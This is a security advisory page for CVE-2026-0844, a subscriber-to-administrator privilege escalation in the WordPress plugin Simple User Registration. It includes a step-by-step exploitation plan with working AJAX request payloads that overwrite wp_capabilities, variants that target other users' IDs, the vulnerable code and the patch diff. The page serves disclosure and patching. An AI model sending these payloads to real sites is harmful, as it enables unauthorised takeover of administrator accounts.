CVE-2026-0844

Simple User Registration <= 6.7 - Authenticated (Subscriber+) Privilege Escalation via profile_save_field

highImproper Access Control
8.8
CVSS Score
8.8
CVSS Score
high
Severity
6.8
Patched in
3d
Time to patch

Description

The Simple User Registration plugin for WordPress is vulnerable to privilege escalation in versions up to, and including, 6.7 due to insufficient restriction on the 'profile_save_field' function. This makes it possible for authenticated attackers, with minimal permissions such as a subscriber, to modify their user role by supplying the 'wp_capabilities' parameter during a profile update.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=6.7
PublishedJanuary 27, 2026
Last updatedJanuary 30, 2026
Affected pluginwp-registration

What Changed in the Fix

Changes introduced in v6.8

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-0844 ## 1. Vulnerability Summary The **Simple User Registration** plugin (<= 6.7) contains an improper access control vulnerability in the `WPR_Profile::profile_save_field` function. The function is intended to allow users to update their profile information …

Show full research plan

Exploitation Research Plan - CVE-2026-0844

1. Vulnerability Summary

The Simple User Registration plugin (<= 6.7) contains an improper access control vulnerability in the WPR_Profile::profile_save_field function. The function is intended to allow users to update their profile information via AJAX. However, it fails to validate or whitelist the meta keys being updated. An authenticated user (Subscriber level) can supply the wp_capabilities parameter (or any other restricted user meta) to overwrite their own role and escalate privileges to Administrator.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: profile_save_field
  • Authentication: Required (Subscriber or higher)
  • Vulnerable Parameter: The function likely iterates over $_POST or accepts a dynamic key parameter. The payload targets the wp_capabilities meta key.
  • Preconditions: The attacker must be logged in as a Subscriber.

3. Code Flow

  1. Entry Point: A POST request is sent to admin-ajax.php with action=profile_save_field.
  2. Hook Registration: In inc/classes/class.profile.php, the hook is registered:
    add_action( 'wp_ajax_profile_save_field', array($this, 'profile_save_field') );
    
  3. Vulnerable Logic: The profile_save_field function (found in inc/classes/class.profile.php) processes the request. Based on the vulnerability description, it lacks a whitelist of allowed fields (unlike WPR_Register::setting_user_meta which uses $allowed_meta_keys).
  4. Sink: The function likely calls update_user_meta(get_current_user_id(), $key, $value) or wp_update_user. If $key is taken directly from user input (e.g., $_POST['field_name'] or a direct key in $_POST), the attacker can specify wp_capabilities.

4. Nonce Acquisition Strategy

The plugin localizes several scripts in WPR_Profile::load_profile_script. We need to verify if a nonce is required for the profile_save_field action.

  1. Identify the Source: In inc/classes/class.profile.php, the wpr_vars object is localized:
    $wpr_profile_vars = array(
        'ajax_url'   => admin_url( 'admin-ajax.php') ,
        'strings'    => $this->change_password_validate(),
        'loading'    => WPR_URL.'/images/wpr-loader.gif',
        'error_msg'  => 'Please remove above error before update',
    );
    wp_localize_script( 'wpr-frontend', 'wpr_vars', $wpr_profile_vars);
    
  2. Observation: The provided source snippet for wpr_vars does not show a nonce. If the function profile_save_field does not call check_ajax_referer or wp_verify_nonce, no nonce is required.
  3. Check Strategy:
    • Navigate to a page containing the [wpr-profile] shortcode.
    • Run browser_eval("window.wpr_vars") to check for hidden nonce keys not seen in the snippet (e.g., wpr_vars.nonce).
    • If no nonce is found, proceed with a direct AJAX request.

5. Exploitation Strategy

Step 1: Authentication

Login as a Subscriber user using the provided credentials.

Step 2: Payload Construction

WordPress roles are stored in the wp_capabilities meta key as a serialized array (e.g., a:1:{s:13:"administrator";b:1;}).
When sending a POST request, PHP handles array notation: wp_capabilities[administrator]=1 will be parsed into $_POST['wp_capabilities'] = array('administrator' => 1). When update_user_meta receives this array, it serializes it correctly.

Step 3: Request Execution

Send the following POST request using the http_request tool:

Request Details:

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=profile_save_field&wp_capabilities[administrator]=1
    
    (Note: If the plugin expects a key/value pair, try action=profile_save_field&field_name=wp_capabilities&field_value[administrator]=1)

6. Test Data Setup

  1. Create Subscriber: wp user create attacker attacker@example.com --role=subscriber --user_pass=password
  2. Create Profile Page: wp post create --post_type=page --post_status=publish --post_title="Profile" --post_content="[wpr-profile]"
  3. Verification of ID: Get the attacker's ID: wp user get attacker --field=ID

7. Expected Results

  • The server should return a JSON response (likely {"status":"success", ...} or similar).
  • The wp_usermeta table for the attacker's user ID will now have the wp_capabilities value updated to represent an Administrator.

8. Verification Steps

  1. Check Role via CLI:
    wp user get attacker --field=roles
    
    Expected Output: administrator
  2. Check Meta via CLI:
    wp user meta get attacker wp_capabilities
    
    Expected Output: a:1:{s:13:"administrator";b:1;}

9. Alternative Approaches

If the simple key-value update fails, the plugin might expect the data in a specific sub-array or JSON format:

  • Alternative 1 (JSON field):
    action=profile_save_field&data[wp_capabilities][administrator]=1
  • Alternative 2 (Direct User ID exposure):
    Check if the function accepts a user_id parameter. If so, an attacker can modify any user's role:
    action=profile_save_field&user_id=1&wp_capabilities[administrator]=1
  • Alternative 3 (Check inc/classes/class.dashboard.php):
    If profile_save_field is not the only culprit, without_field_user_form_submit in class.dashboard.php also uses wp_ajax_nopriv and might be vulnerable to the same logic during registration/update.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Simple User Registration plugin for WordPress is vulnerable to privilege escalation because the 'profile_save_field' AJAX handler fails to validate user meta keys. Authenticated attackers with subscriber-level access can overwrite their 'wp_capabilities' meta field to grant themselves administrator privileges.

Vulnerable Code

// inc/classes/class.profile.php
add_action( 'wp_ajax_profile_save_field', array($this, 'profile_save_field') );

public function profile_save_field() {
    // ...
    $user_id = $_POST['user_id'];
    if (!$user_id) {
        wp_send_json(array('status' => 'error', 'message' => __('Invalid user ID', 'wpr')));
    }
    $this->set_user_data( $user_id );

    $profile_data = $_POST['wpr'];
    $this->user->update_profile( $profile_data );
    // ...
}

---

// inc/classes/class.user.php
function update_profile( $profile_data ) {
    // ...
    foreach( $profile_data as $type => $fields ) {
        // ...
        foreach( $fields as $key => $value ) {
            // ...
            if( in_array( $key, wpr_get_wp_user_core_fields()) ) {
                $core_fields[$key] = $value;
            } else {
                $this->set_meta( $key, $value );
            }
        }
    }
    // ...
}

function set_meta( $key, $value ) {
    update_user_meta( $this->id(), $key, $value );
}

Security Fix

Only in /home/deploy/wp-safety.org/data/plugin-versions/wp-registration/6.8: debug-install.php
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-registration/6.7/inc/classes/class.dashboard.php /home/deploy/wp-safety.org/data/plugin-versions/wp-registration/6.8/inc/classes/class.dashboard.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-registration/6.7/inc/classes/class.dashboard.php	2025-11-15 03:58:26.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-registration/6.8/inc/classes/class.dashboard.php	2026-01-28 05:11:24.000000000 +0000
@@ -246,6 +246,11 @@
 
     function without_field_user_form_submit(){
 
+        // SECURITY FIX: Add authorization check
+        if (!current_user_can('manage_options')) {
+            wp_send_json(array('status' => 'error', 'message' => __('Unauthorized access', 'wpr')));
+        }
+
         if( empty($_POST['wpr_form_type']) ) {
 
             $response = array('status'=>'error','message'=>__('Please select any Role and Form','wpr'));
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-registration/6.7/inc/classes/class.profile.php /home/deploy/wp-safety.org/data/plugin-versions/wp-registration/6.8/inc/classes/class.profile.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-registration/6.7/inc/classes/class.profile.php	2025-11-15 03:58:26.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-registration/6.8/inc/classes/class.profile.php	2026-01-28 05:11:24.000000000 +0000
@@ -411,6 +411,13 @@
 		if (!$user_id) {
 			wp_send_json(array('status' => 'error', 'message' => __('Invalid user ID', 'wpr')));
 		}
+
+		// SECURITY FIX: Authorization check - users can only edit their own profile
+		$current_user_id = get_current_user_id();
+		if ($user_id !== $current_user_id && !current_user_can('edit_users')) {
+			wp_send_json(array('status' => 'error', 'message' => __('Unauthorized access', 'wpr')));
+		}
+
 		$this->set_user_data( $user_id );
 
 		$profile_data = $_POST['wpr'];
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-registration/6.7/inc/classes/class.register.php /home/deploy/wp-safety.org/data/plugin-versions/wp-registration/6.8/inc/classes/class.register.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-registration/6.7/inc/classes/class.register.php	2025-11-15 03:58:26.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-registration/6.8/inc/classes/class.register.php	2026-01-28 05:11:24.000000000 +0000
@@ -48,8 +48,8 @@
        
         $this->userid   = wp_insert_user( $wp_fields );
         
-        // Setting user password into meta
-        $this->set_meta( 'wpr_password', $wp_fields['user_pass'] );
+        // SECURITY FIX: Don't store passwords in user meta
+        // $this->set_meta( 'wpr_password', $wp_fields['user_pass'] );
     
         if ( is_wp_error( $this->userid ) ) {
             
@@ -273,6 +273,11 @@
     // Setting User's meta
     function set_meta( $key, $value ) {
         
+        // SECURITY FIX: Enhanced protection against capability manipulation
+        if (strpos($key, 'capabilities') !== false || strpos($key, 'user_level') !== false) {
+            return false;
+        }
+        
         // Security check: prevent setting dangerous meta keys
         $dangerous_keys = array(
             'wp_capabilities',
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-registration/6.7/inc/classes/class.user.php /home/deploy/wp-safety.org/data/plugin-versions/wp-registration/6.8/inc/classes/class.user.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-registration/6.7/inc/classes/class.user.php	2025-11-15 03:58:26.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-registration/6.8/inc/classes/class.user.php	2026-01-28 05:11:24.000000000 +0000
@@ -102,6 +102,11 @@
 
     function set_meta( $key, $value ) {
         
+        // SECURITY FIX: Block capability-related keys
+        if (strpos($key, 'capabilities') !== false || strpos($key, 'user_level') !== false) {
+            return false;
+        }
+        
         update_user_meta( $this->id(), $key, $value );
     }
     
@@ -307,6 +312,22 @@
         // Adding extra fields in meta
         $core_fields = array('ID'    => $this->id() );
 
+        // SECURITY FIX: Define allowed meta keys to prevent privilege escalation
+        $allowed_meta_keys = array(
+            'first_name',
+            'last_name', 
+            'description',
+            'nickname',
+            'display_name',
+            'user_url',
+            'wpr_phone',
+            'wpr_address',
+            'wpr_city',
+            'wpr_state',
+            'wpr_country',
+            'wpr_zip'
+        );
+
         foreach( $profile_data as $type => $fields ) {
             
             // Skipp username and email fields
@@ -315,6 +336,16 @@
             foreach( $fields as $key => $value ) {
                 // wpr_pa($key);
 
+                // SECURITY FIX: Block capability-related keys
+                if (strpos($key, 'capabilities') !== false || strpos($key, 'user_level') !== false) {
+                    continue;
+                }
+
+                // SECURITY FIX: Only allow whitelisted meta keys
+                if (!in_array($key, $allowed_meta_keys) && !in_array($key, wpr_get_wp_user_core_fields())) {
+                    continue;
+                }
+
                 if( in_array( $key, wpr_get_wp_user_core_fields()) ) {
 
                     $core_fields[$key] = $value;

Exploit Outline

1. Authenticate as a Subscriber-level user. 2. Obtain the current user's ID and the AJAX URL (typically from the localized 'wpr_vars' object on a page containing the [wpr-profile] shortcode). 3. Send a POST request to /wp-admin/admin-ajax.php with the 'action' parameter set to 'profile_save_field'. 4. Include a 'user_id' parameter matching the attacker's ID. 5. Include a payload in the 'wpr' array that targets the 'wp_capabilities' user meta key. For example: 'wpr[extra][wp_capabilities][administrator]=1'. 6. The server will process the request and call update_user_meta with the provided key and value, elevating the user to an Administrator.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.